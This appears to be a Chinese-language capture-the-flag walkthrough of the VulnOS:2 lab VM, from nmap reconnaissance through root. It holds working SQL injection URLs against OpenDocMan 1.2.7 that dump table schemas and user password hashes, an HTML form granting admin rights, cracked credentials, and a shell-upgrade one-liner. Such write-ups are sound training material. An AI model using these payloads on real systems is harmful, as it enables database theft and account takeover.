Post

VulnOS:2 Walkthrough

Reconnaissance

Host Discovery

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/VulnOSv2]
└─$ nmap 192.168.2.1/24
Nmap scan report for VulnOSv2 (192.168.2.249)
Host is up (0.00026s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6667/tcp open  irc

Port Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/VulnOSv2]
└─$ nmap -p- -A -sC -sV 192.168.2.249 | tee prot_scanning
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-26 03:57 EDT
Nmap scan report for 192.168.2.249
Host is up (0.00034s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
|   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
|   256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_  256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: VulnOSv2
|_http-server-header: Apache/2.4.7 (Ubuntu)
6667/tcp open  irc     ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.54 seconds

Enumeration

SSH Enumeration (port 22)

使用一下hydra,对部分常见的弱口令账号密码进行爆破,并没有获得敏感信息。

HTTP Enumeration (port 80)

访问进入网站,出现了一个介绍页面,查看源代码,并没有发现什么异常,只有一个用于跳转的到/jabc目录的链接

进入到/jabc目录发现好像是一个服务购买网站

查看所有页面,发现Documentation中没有任何的内容,查看其源代码发现,用纯黑色字体隐藏了一个目录信息

访问/jabcd0cs目录发现是一个OpenDocMan的登陆页面版本为v1.2.7

使用searchsploit对该系统进行漏洞搜索,成功找到了EXP

通过查看32075.txt,得知该版本存在两个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.OpenDocMan 中的 SQL 注入:CVE-2014-1945

此漏洞是由于“/ajax_udf.php”脚本中对“add_value”HTTP GET 参数的验证不足而导致的。远程未经身份验证的攻击者可以在应用程序的数据库中执行任意 SQL 命令。

下面的漏洞利用示例显示了 MySQL 服务器的版本:

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v
ersion%28%29,3,4,5,6,7,8,9

2.OpenDocMan 中的访问控制不当:CVE-2014-1946

此漏洞是由于在更新用户个人资料时对“/signup.php”脚本中允许的操作验证不足而导致的。远程经过身份验证的攻击者可以将管理权限分配给当前帐户并完全控制应用程序。

下面的利用示例为当前帐户分配了管理权限:

<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>

Exportation

SQL Injection

1
http://192.168.2.249/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9 from information_schema.columns

这段注入的目的是从数据库中获取所有表的名称和每个表的列名,将它们作为一个字符串返回

odm_user 是一个存在的表名,用于构造 UNION SELECT 语句的一部分。

UNION SELECT 被用来将多个查询的结果合并在一起。

concat(table_schema,0x3a,table_name,0x3a,column_name) 是第二个查询的结果。在这里,concat() 函数用于将 table_schema(表所在的数据库名)、table_name(表名)、column_name(列名)连接为一个字符串,用 0x3a 分隔每个部分(0x3a 是十六进制表示的冒号 :)。

1,3,4,5,6,7,8,9 是填充查询所需的额外列,但在 UNION SELECT 中通常可以填写任何数目的列,只要它们与第一个查询的列数匹配即可。

from information_schema.columns 指定了从 information_schema.columns 表中获取数据,该表包含了所有数据库中的列的信息。

1
http://192.168.2.249/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9 from odm_user

这段注入的目的是从 odm_user 表中获取所有用户的用户名和密码,并将它们作为一个字符串返回

成功获取到用户名和密码(MD5),我们使用随意网站对其进行解密,这里我是用somd5

webmin:b78aae356709f8c31118ea613980954b webmin1980 guest:084e0343a0486ff05530df6c705c8bb4 guest

使用刚刚得到的账号密码,用SSH进行登陆

执行python -c 'import pty;pty.spawn("/bin/bash")'命令,这命令利用 Python 的 pty 模块中的 spawn 函数直接启动了一个交互式的 Bash shell 进程。

查看系统的基本信息

Privilege Escalation

寻找该系统内核存在的提权漏洞

将其下载到服务器,进行编译并执行,成功拿到root权限

此时我们执行一条命令,发现这是一个受限的shell我们再次执行python -c 'import pty;pty.spawn("/bin/bash")'命令,在/root主目录发现flag

This post is licensed under CC BY 4.0 by the author.

Trending Tags